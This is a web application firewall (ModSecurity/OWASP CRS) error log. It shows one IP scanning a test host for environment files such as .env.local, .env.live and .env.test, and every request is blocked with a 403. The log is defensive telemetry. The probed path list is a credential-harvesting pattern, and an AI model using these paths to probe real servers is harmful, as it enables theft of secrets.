[Sat May 31 23:23:49.364534 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aDtzZU_7v63ITAiL1uihPQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.production.local
[Sat May 31 23:23:49.364844 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aDtzZU_7v63ITAiL1uihPQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.production.local
[Sat May 31 23:23:49.365032 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aDtzZU_7v63ITAiL1uihPQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.production.local
[Sat May 31 23:23:49.797631 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aDtzZU_7v63ITAiL1uihPgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.local
[Sat May 31 23:23:49.797905 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aDtzZU_7v63ITAiL1uihPgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.local
[Sat May 31 23:23:49.798098 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aDtzZU_7v63ITAiL1uihPgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.local
[Sat May 31 23:23:50.128741 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aDtzZk_7v63ITAiL1uihPwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.local
[Sat May 31 23:23:50.129756 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aDtzZk_7v63ITAiL1uihPwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.local
[Sat May 31 23:23:50.129989 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aDtzZk_7v63ITAiL1uihPwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.local
[Sat May 31 23:23:50.563138 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aDtzZk_7v63ITAiL1uihQAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.example
[Sat May 31 23:23:50.563491 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aDtzZk_7v63ITAiL1uihQAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.example
[Sat May 31 23:23:50.563746 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aDtzZk_7v63ITAiL1uihQAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.example
[Sat May 31 23:23:50.894907 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aDtzZk_7v63ITAiL1uihQQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.example
[Sat May 31 23:23:50.895216 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aDtzZk_7v63ITAiL1uihQQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.example
[Sat May 31 23:23:50.895410 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aDtzZk_7v63ITAiL1uihQQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.example
[Sat May 31 23:23:51.328840 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aDtzZ0_7v63ITAiL1uihQgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.stage
[Sat May 31 23:23:51.329132 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aDtzZ0_7v63ITAiL1uihQgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.stage
[Sat May 31 23:23:51.329320 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aDtzZ0_7v63ITAiL1uihQgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.stage
[Sat May 31 23:23:51.659935 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aDtzZ0_7v63ITAiL1uihQwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.stage
[Sat May 31 23:23:51.660218 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aDtzZ0_7v63ITAiL1uihQwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.stage
[Sat May 31 23:23:51.660415 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aDtzZ0_7v63ITAiL1uihQwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.stage
[Sat May 31 23:23:52.092106 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.live&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aDtzaE_7v63ITAiL1uihRAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.live
[Sat May 31 23:23:52.092417 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aDtzaE_7v63ITAiL1uihRAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.live
[Sat May 31 23:23:52.092616 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aDtzaE_7v63ITAiL1uihRAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.live
[Sat May 31 23:23:52.423259 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.live&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aDtzaE_7v63ITAiL1uihRQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.live
[Sat May 31 23:23:52.423531 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aDtzaE_7v63ITAiL1uihRQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.live
[Sat May 31 23:23:52.423710 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aDtzaE_7v63ITAiL1uihRQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.live
[Sat May 31 23:23:52.856084 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aDtzaE_7v63ITAiL1uihRgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.test
[Sat May 31 23:23:52.856349 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aDtzaE_7v63ITAiL1uihRgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.test
[Sat May 31 23:23:52.856638 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aDtzaE_7v63ITAiL1uihRgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.test
[Sat May 31 23:23:53.187359 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aDtzaU_7v63ITAiL1uihRwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.test
[Sat May 31 23:23:53.187778 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aDtzaU_7v63ITAiL1uihRwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.test
